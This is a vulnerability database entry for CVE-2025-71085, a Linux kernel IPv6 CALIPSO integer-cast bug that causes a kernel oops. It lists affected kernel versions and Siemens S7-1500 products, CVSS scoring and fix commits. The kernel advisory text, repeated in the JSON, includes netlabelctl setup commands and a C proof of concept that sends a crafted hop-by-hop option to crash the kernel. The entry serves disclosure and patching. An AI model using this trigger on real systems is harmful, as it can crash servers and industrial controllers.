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EUVD-2026-364613

European Vulnerability Database identifier assigned by ENISA

Reserved

2026-10-02 08:33

Assigner

ENISA

Alias of

a CVE record, shown under related vulnerabilities. This identifier carries no description, severity or references of its own: they belong to that CVE.

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{
  "assigner": "ENISA",
  "date_reserved": "2026-10-02T08:33:20.209920+00:00",
  "id": "EUVD-2026-364613"
}

CVE-2025-71085 (GCVE-0-2025-71085)

Vulnerability from cvelistv5 – Published: 2026-01-13 15:34 – Updated: 2026-09-08 08:43

Title

ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

Summary

In the Linux kernel, the following vulnerability has been resolved: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0). The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead. Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom. PoC: Using `netlabelctl` tool: netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7 Then run the following PoC: int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); // setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0; // setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337; // setup cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80 sendmsg(fd, &msg, 0);

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-10 20:42 UTC

Assigner

Linux mitre root Scorecard

References

8 references

URL	Tags
https://git.kernel.org/stable/c/86f365897068d0941…
https://git.kernel.org/stable/c/6b7522424529556c9…
https://git.kernel.org/stable/c/2bb759062efa188ea…
https://git.kernel.org/stable/c/c53aa6a5086f03f19…
https://git.kernel.org/stable/c/bf3709738d8a8cc6f…
https://git.kernel.org/stable/c/73744ad5696dce0e0…
https://git.kernel.org/stable/c/58fc7342b529803d3…
https://cert-portal.siemens.com/productcert/html/…

Impacted products

5 products

Vendor	Product	Version
Linux	Linux	Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 86f365897068d09418488165a68b23cb5baa37f2 (git) Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 6b7522424529556c9cbc15e15e7bd4eeae310910 (git) Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 2bb759062efa188ea5d07242a43e5aa5464bbae1 (git) Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < c53aa6a5086f03f19564096ee084a202a8c738c0 (git) Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < bf3709738d8a8cc6fa275773170c5c29511a0b24 (git) Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 73744ad5696dce0e0f43872aba8de6a83d6ad570 (git) Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 58fc7342b529803d3c221101102fe913df7adb83 (git)
Linux	Linux	Affected: 4.8 Unaffected: 0 , < 4.8 (semver) Unaffected: 5.10.248 , ≤ 5.10.* (semver) Unaffected: 5.15.198 , ≤ 5.15.* (semver) Unaffected: 6.1.160 , ≤ 6.1.* (semver) Unaffected: 6.6.120 , ≤ 6.6.* (semver) Unaffected: 6.12.64 , ≤ 6.12.* (semver) Unaffected: 6.18.4 , ≤ 6.18.* (semver) Unaffected: 6.19 , ≤ * (original_commit_for_fix)
Siemens	SIMATIC S7-1500 CPU 1518-4 PN/DP MFP	Affected: V3.1.6 , < * (custom)
Siemens	SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP	Affected: V3.1.6 , < * (custom)
Siemens	SIPLUS S7-1500 CPU 1518-4 PN/DP MFP	Affected: V3.1.6 , < * (custom)

Show details on NVD website

JSON

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{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-71085",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-10T20:42:02.469421Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
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          }
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        "providerMetadata": {
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          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
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            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
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                "status": "affected",
                "version": "V3.1.6",
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          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
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                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.6",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
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                "status": "affected",
                "version": "V3.1.6",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.6",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-08T08:43:44.889Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-019113.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/calipso.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
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              "versionType": "git"
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            {
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              "versionType": "git"
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            {
              "lessThan": "2bb759062efa188ea5d07242a43e5aa5464bbae1",
              "status": "affected",
              "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3",
              "versionType": "git"
            },
            {
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              "status": "affected",
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              "versionType": "git"
            },
            {
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              "versionType": "git"
            },
            {
              "lessThan": "58fc7342b529803d3c221101102fe913df7adb83",
              "status": "affected",
              "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3",
              "versionType": "git"
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        },
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          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.8"
            },
            {
              "lessThan": "4.8",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.248",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.198",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.160",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.120",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.64",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.18.*",
              "status": "unaffected",
              "version": "6.18.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.19",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.248",
                  "versionStartIncluding": "4.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.198",
                  "versionStartIncluding": "4.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.160",
                  "versionStartIncluding": "4.8",
                  "vulnerable": true
                },
                {
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                  "versionStartIncluding": "4.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
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                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
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                },
                {
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                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\n\nThere exists a kernel oops caused by a BUG_ON(nhead \u003c 0) at\nnet/core/skbuff.c:2232 in pskb_expand_head().\nThis bug is triggered as part of the calipso_skbuff_setattr()\nroutine when skb_cow() is passed headroom \u003e INT_MAX\n(i.e. (int)(skb_headroom(skb) + len_delta) \u003c 0).\n\nThe root cause of the bug is due to an implicit integer cast in\n__skb_cow(). The check (headroom \u003e skb_headroom(skb)) is meant to ensure\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\nheadroom \u003e INT_MAX and delta \u003c= -NET_SKB_PAD, the check passes, delta\nbecomes negative, and pskb_expand_head() is passed a negative value for\nnhead.\n\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\n\"negative\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\nby only using skb_cow() to grow headroom.\n\nPoC:\n\tUsing `netlabelctl` tool:\n\n        netlabelctl map del default\n        netlabelctl calipso add pass doi:7\n        netlabelctl map add default address:0::1/128 protocol:calipso,7\n\n        Then run the following PoC:\n\n        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\n\n        // setup msghdr\n        int cmsg_size = 2;\n        int cmsg_len = 0x60;\n        struct msghdr msg;\n        struct sockaddr_in6 dest_addr;\n        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\n                        sizeof(struct cmsghdr) + cmsg_len);\n        msg.msg_name = \u0026dest_addr;\n        msg.msg_namelen = sizeof(dest_addr);\n        msg.msg_iov = NULL;\n        msg.msg_iovlen = 0;\n        msg.msg_control = cmsg;\n        msg.msg_controllen = cmsg_len;\n        msg.msg_flags = 0;\n\n        // setup sockaddr\n        dest_addr.sin6_family = AF_INET6;\n        dest_addr.sin6_port = htons(31337);\n        dest_addr.sin6_flowinfo = htonl(31337);\n        dest_addr.sin6_addr = in6addr_loopback;\n        dest_addr.sin6_scope_id = 31337;\n\n        // setup cmsghdr\n        cmsg-\u003ecmsg_len = cmsg_len;\n        cmsg-\u003ecmsg_level = IPPROTO_IPV6;\n        cmsg-\u003ecmsg_type = IPV6_HOPOPTS;\n        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\n        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\n\n        sendmsg(fd, \u0026msg, 0);"
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "scenarios": [
            {
              "lang": "en",
              "value": "AV:N - On an IPv6-forwarding CALIPSO/SELinux gateway, a remote peer can supply a valid oversized CALIPSO hop-by-hop option; the NF_INET_FORWARD SELinux hook reaches calipso_skbuff_setattr() while relabeling the packet.\nAC:L - Once CALIPSO labeling and IPv6 forwarding are configured, the attacker controls the option length, label data, padding, and CRC and can deterministically create a sufficiently negative len_delta without a race or uncontrollable memory layout.\nPR:N - The forwarding path processes received packet metadata without an authenticated session, and CALIPSO\u0027s CRC provides no authentication, so the remote attacker needs no local credentials or capabilities.\nUI:N - A crafted packet triggers the vulnerable forwarding hook automatically without any victim action.\nS:U - The assertion and resulting denial of service remain within the host kernel\u0027s existing security authority and do not cross a virtualization or sandbox boundary.\nC:N - The negative value reaches BUG_ON before allocation or copying, and no kernel data is disclosed.\nI:N - The assertion fires before pskb_expand_head() modifies buffer storage, so the bug provides no memory corruption or write primitive.\nA:H - The reachable BUG_ON causes a kernel oops and can panic or reboot the system, with repeated packets able to retrigger the failure."
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-05T12:11:57.623Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/86f365897068d09418488165a68b23cb5baa37f2"
        },
        {
          "url": "https://git.kernel.org/stable/c/6b7522424529556c9cbc15e15e7bd4eeae310910"
        },
        {
          "url": "https://git.kernel.org/stable/c/2bb759062efa188ea5d07242a43e5aa5464bbae1"
        },
        {
          "url": "https://git.kernel.org/stable/c/c53aa6a5086f03f19564096ee084a202a8c738c0"
        },
        {
          "url": "https://git.kernel.org/stable/c/bf3709738d8a8cc6fa275773170c5c29511a0b24"
        },
        {
          "url": "https://git.kernel.org/stable/c/73744ad5696dce0e0f43872aba8de6a83d6ad570"
        },
        {
          "url": "https://git.kernel.org/stable/c/58fc7342b529803d3c221101102fe913df7adb83"
        }
      ],
      "title": "ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-71085",
    "datePublished": "2026-01-13T15:34:48.324Z",
    "dateReserved": "2026-01-13T15:30:19.649Z",
    "dateUpdated": "2026-09-08T08:43:44.889Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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EUVD-2026-364613

CVE-2025-71085 (GCVE-0-2025-71085)

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